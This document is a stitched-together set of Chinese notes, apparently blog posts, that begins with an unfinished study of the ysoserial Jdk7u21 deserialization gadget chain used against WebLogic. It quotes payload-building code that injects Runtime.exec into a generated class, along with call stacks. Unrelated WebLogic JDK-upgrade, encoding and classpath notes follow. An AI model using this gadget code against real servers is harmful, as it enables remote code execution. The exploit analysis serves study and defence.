参考：
 
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.java
Java 反序列化漏洞始末（2）— JDK
 
条件：
 jdk < = 7u21
 
 
weblogic v10的payload解析
 
来源：
 https://github.com/chaitin/xray/blob/master/pocs/weblogic-cve-2019-2729-1.yml
 
 在java原生反序列化之前将payload转换成序列化文件：
 
File f = new File("C:\\Users\\Administrator\\Desktop\\chatin_2729_echo.ser");
ObjectOutputStream out2 = new ObjectOutputStream(new FileOutputStream(f));
out2.write(bytes);
out2.flush();
out2.close();
 
看看这个反序列化出来的Object：
 
 具体各个属性的生成参考：
 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java
 
    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
 
在序列化出来的字符串里搜到了weblogic/servlet/internal/ServletOutputStreamImpl，应该是用writeStream这个方法进行回显吧。
 
 并且判断操作系统win/linux，执行对应的/bin/sh -c还是cmd /c。
 
好像是通过异常把结果带出来的：
 
 
E:\Oracle\Middleware10.3.6.0\wlserver_10.3\server\lib\weblogic.jar!\weblogic\servlet\internal\ServletOutputStreamImpl#writeStream(InputStream var1)
 
 应该是自定义的字节类中调用了ServletOutputStreamImpl#writeStream然后拼接了命令执行的结果，最后返回。
 
 
 
Weblogic与jdk的兼容性问题
 
好像10.3.6不支持jdk 1.8，不过好像可以先用jdk 6,7安装之后然后bypass。
 https://stackoverflow.com/questions/22513660/jre-8-compatibility-with-weblogic-10-3-6-11g
 
直到12.1.3才开始支持jdk 1.8
 https://community.oracle.com/thread/3539686
 
调用栈：
 
exec:328, Runtime (java.lang)
<clinit>:-1, Pwner45438314278992 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:39, NativeConstructorAccessorImpl (sun.reflect)
newInstance:27, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:513, Constructor (java.lang.reflect)
newInstance0:357, Class (java.lang)
newInstance:310, Class (java.lang)
getTransletInstance:376, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:406, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
equalsImpl:179, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:41, AnnotationInvocationHandler (sun.reflect.annotation)
equals:-1, $Proxy89 (com.sun.proxy)
put:376, HashMap (java.util)
readObject:292, HashSet (java.util)
invoke:-1, GeneratedMethodAccessor4 (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
<init>:63, UnitOfWorkChangeSet (oracle.toplink.internal.sessions)
...
 
Jdk7u21调试
 
在ysoserial中使用以下两行代码进行调试
 
    public static void main1() throws Exception {
        // 构造待触发的对象（把油都浇好了，一点就着）
        TemplatesImpl object = (TemplatesImpl)Gadgets.createTemplatesImpl("calc");
        // 触发漏洞（点了，着了）
        object.getOutputProperties();
    }
 
学习一下如何构造好这个待触发的对象，以及受害者是如何一步一步进入攻击者设计好的陷阱里的。
 
import javassist.ClassPool;

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        // 这里通过javassist.ClassPool生成class，这里用到随机的类名，方便同一个jvm里反复利用？
        final CtClass clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        CtClass superC = pool.get(abstTranslet.getName());
        // 设置这个生成的class继承自`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();
 
通过javassist生成一个类，将payload插入到类的初始化代码块中，然后转换成字节码。
 
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
 
将刚才的那个生成的类的字节，放到TemplatesImpl这个类的_bytecodes属性中。
 
 然后再通过反射设置TemplatesImpl这个类的另外两个属性：
 
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
 
其中原类TemplatesImpl中的定义是：
 
    /**
     * Name of the main class or default name if unknown.
     */
    private String _name = null;

    /**
     * A reference to the transformer factory that this templates
     * object belongs to.
     */
    private transient TransformerFactoryImpl _tfactory = null;
 
到这里，payload的生成结束了。
 然后看如何通过getOutputProperties触发payload。
 代码的跟踪这里都已经说了：
 https://y4er.com/post/ysoserial-jdk7u21/
 
调用栈：
 
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
 

 但是关键在于如何让ObjectInputStream#readObject的过程中自动执行TemplatesImpl#getOutputProperties
 
看看ysoserial是怎么处理的。
 调试他的main方法，
 
PayloadRunner.run(Jdk7u21.class, args);
 
然后开始生成恶意对象：
 
final Object objBefore = payload.getObject(command);
 
所以重点就是看Jdk7u21类的getObject(final String command)方法：
 
		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
 
这里先构造了一个Map对象，然后通过反射拿到AnnotationInvocationHandler的第一个构造器，也就是：
 
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }
 
然后ysoserial的代码里传递的是Override.class和刚才那个不知道啥用的map对象。
 
其中AnnotationInvocationHandler的构造器接收两个参数：一个class对象（java.lang.annotation.Annotation的子类），一个Map对象（key为String类型，value为Object类型）
 
 
构造完之后，分别赋值给了AnnotationInvocationHandler对象的type属性，和memberValues属性。
 但是明明为什么刚才已经构造了AnnotationInvocationHandler，type属性被赋值为Override.class，还要下面这句：
 
Reflections.setFieldValue(tempHandler, "type", Templates.class);
 
将type属性再赋值为Templates.class?
 
//TODO
 
参考：
 
https://www.geek-share.com/detail/2714536302.html
https://docs.oracle.com/middleware/12212/wls/INTRO/compatibility.htm#INTRO116
https://docs.oracle.com/cd/E23943_01/doc.1111/e14142/jdk7.htm#WLSIG262
https://docs.oracle.com/cd/E24902_01/doc.91/e23434/install_config_12_1_3.htm#EOHLU224
https://docs.oracle.com/cd/E24902_01/doc.91/e23434/install_config_10_3_6.htm#EOHLU189
https://stackoverflow.com/questions/44714576/how-to-update-weblogic-server-jdk-from-1-7-to-1-8-on-windows-7

Weblogic升级JDK
 
背景：
     Weblogic远程代码执行漏洞（CVE-2021-2109）
     该漏洞风险为“高”，影响版本：Weblogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0。
 
修复方式：
     升级Weblogic运行环境的JDK版本，具体参考如下
 
 

升级方法(路径根据实际情况修改)：
     1）修改 ./Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
     2）修改 ./Oracle/Middleware/oracle_common/common/bin/commEnv.sh(12c)
                  ./Oracle/Middleware/wlserver_10.3/common/bin/commEnv.sh(11g)
     3）重启AdminServer、NodeManager Server、ManagedWebLogic Server
                  
升级过程中遇到的问题和解决办法：
     1）控制台web页面加载不出来
          
          找到新的JDK目录 cd ./jre/lib/security ， 修改java.security中securerandom.source参数，由securerandom.source=file:/dev/urandom修改为securerandom.source=file:/dev/./urandom
          
     2）NodeManager无法管理ManagedWebLogic Server，报错javax.net.ssl.SSLHandshakeException: General SSLEngine problem
     
         暂时还搞明白逻辑，怀疑是SSL证书的问题，临时解决办法为在控制态中将节点管理器的类型修改为普通，然后vim ./Oracle/Middleware/user_projects/domains/base_domain/nodemanager/nodemanager.properties，修改参数SecureListener=true为SecureListener=false，然后重启AdminServer和NodeManager Server
 
参考文档：
 
    https://docs.oracle.com/cd/E13150_01/jrockit_jvm/jrockit/geninfo/diagnos/aboutjrockit.html-----JRockit介绍
     https://support.oracle.com/epmos/faces/DocumentDisplay?_afrLoop=355217072866857&id=1414485.1&_afrWindowMode=0&_adf.ctrl-state=107fqrm5b1_250-----Latest Java SE Patch Updates on MOS (Doc ID 1414485.1)
     https://support.oracle.com/epmos/faces/DocumentDisplay?_afrLoop=355227993833415&id=1439822.1&_afrWindowMode=0&_adf.ctrl-state=107fqrm5b1_299-----    Supported Java SE Downloads on MOS (Doc ID 1439822.1)
     https://support.oracle.com/epmos/faces/DocumentDisplay?_afrLoop=355625871004650&parent=WIDGET_REFERENCES&sourceId=1439822.1&id=1534791.1&_afrWindowMode=0&_adf.ctrl-state=107fqrm5b1_661-------Java SE and JRockit Archived Downloads on MOS for Java Versions that Have Reached EOL (Doc ID 1534791.1)
     Using the Latest JDK 7.0 Update with Oracle E-Business Suite Release 12.2 (Doc ID 1530033.1)

之前做了一个ca验证的静态页面.
 做了个最简单的应用部署在weblogic上, weblogic的jdk是1.6 的. 然后 临时应用时1.8的jdk.
 临时用我就直接部署了. 然后 weblogic 上边安装也没有问题, 可以正常访问.
 过了些天. 又需要一个别的静态页面的时候,我加上去,然后准备更新上weblogic控制台更新一下应用的时候, 意外情况,weblogic控制台直接挂了.无奈重启weblogic, 然后却发现之前部署的应用的java环境不对,就是jdk了.重新启动不了 .
 最后重新编译了一个应用 … 用 jdk1.6 的环境, 部署上去后, 解决问题.
 总结: 应用的jdk环境需要和web容器的一致. 如果不一致的话, 有可能在不重启weblogic的情况下.直接安装的话可能成功.但是 如果再次重启weblogic 的时候,就会出现问题. 目前表面上就是这样. 至于到低为什么待有时间再研究…

  

 1       IBM JDK 读取配置文件出现下面异常
 

  
 

 Caused by: sun.io.MalformedInputException
 

        at sun.io.ByteToCharGB18030.convert(ByteToCharGB18030.java(Compiled Code))
 

        at sun.nio.cs.StreamDecoder$ConverterSD.convertInto(StreamDecoder.java(Inlined Compiled Code))
 

        at sun.nio.cs.StreamDecoder$ConverterSD.implRead(StreamDecoder.java(Compiled Code))
 

        at sun.nio.cs.StreamDecoder.read(StreamDecoder.java(Compiled Code))
 

        at java.io.InputStreamReader.read(InputStreamReader.java(Compiled Code))
 

        at java.io.BufferedReader.fill(BufferedReader.java(Compiled Code))
 

        at java.io.BufferedReader.readLine(BufferedReader.java(Compiled Code))
 

        at java.io.BufferedReader.readLine(BufferedReader.java(Inlined Compiled Code))
 

        at org.springframework.util.xml.XmlValidationModeDetector.detectValidationMode(XmlValidationModeDetector.java(Compiled 
 

 Code))
 

 办法1 网上查找的办法 java -Dibm.stream.nio=true 错误依旧，问题依然存在
 

  
 

 办法2 AIX JDK1.4.2 bug打补丁可以解决
 

 Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2)
 

 Classic VM (build 1.4.2, J2RE 1.4.2 IBM AIX build ca142-20060421 (SR5) (JIT enabled: jitc))
 

 建议升级到1.4.2 Service Release 9 (Sidecar only) (pj9ap32142-20070708)
 

 办法3配置文件中不能有中文且字符编码一致
 

 2       转换jdk1.5jar包到JDK1.4
 

 命令行方式：
 

 java -Xms256m -Xmx512m -jar retrotranslator-transformer-1.2.2.jar -srcdir D:/temp/JDk15/ -destdir D:/temp/jdk14lib –verify
 

 将源目录下的所有jar包和class转换成jdk 1.4版本到目标目录下
 

  ant task方式
 

 
 

        <path id="retrotranslator.path">
 
    <fileset dir="${retrotranslator.home}">
 
            <include name="*.jar"/>
 
    </fileset>
 
   </path> 
 

     <target name="tojdk14" depends="">
 
    <taskdef name="retrotranslator" classpathref="retrotranslator.path"
 
             classname="net.sf.retrotranslator.transformer.RetrotranslatorTask" />
 
     <retrotranslator destjar="${target.ear}/JDK14${ejb.file}" 
 
     srcjar="${target.ear}/${ejb.file}"
 
      verify="false">
 
        
 
        <classpath location="${java14_home}/jre/lib/rt.jar"/>
 
        <classpath refid="all-libs"/>
 
  <classpath refid="retrotranslator.path"/>
 
  
 
    </retrotranslator>
 
   </target>
 

  
 

  
 

 retrotranslator-runtime-1.2.2.jar 加到运行时lib中
 

 3       weblogic
 

 3.1    weblogic-ejb-jar.xml 的DocType 需要修改
 

 所以修改xdoclet生成weblogic-ejb-jar.xml的jar包
 

 xdoclet/lib/ xdoclet-bea-module-1.2.3 for wls81.jar
 

 3.2   Managed server启动脚本 startManagedWebLogic.sh增加资源classpath
 

 RMSLIB="lib"
 

 # set the classpath 
 

 CP=$(echo ${RMSLIB}/*.jar ${RMSLIB}/xml/*.jar | tr ' ' ':') 
 

  
 

  
 

 # *************************************************************************
 

  
 

 echo "RMSLIB ==== ${RMSLIB} ==== ---------------------------------------"
 

 echo "cp=================${CP}"
 

 CLASSPATH="${WEBLOGIC_CLASSPATH}${CLASSPATHSEP}${POINTBASE_CLASSPATH}${CLASSPATHSEP}${JAVA_HOME}/jre/lib/rt.jar${CLASSPATHSEP}${WL_HOME}/server/lib/webservices.jar${CLASSPATHSEP}${CLASSPATH}:${CP}"
 

 export CLASSPATH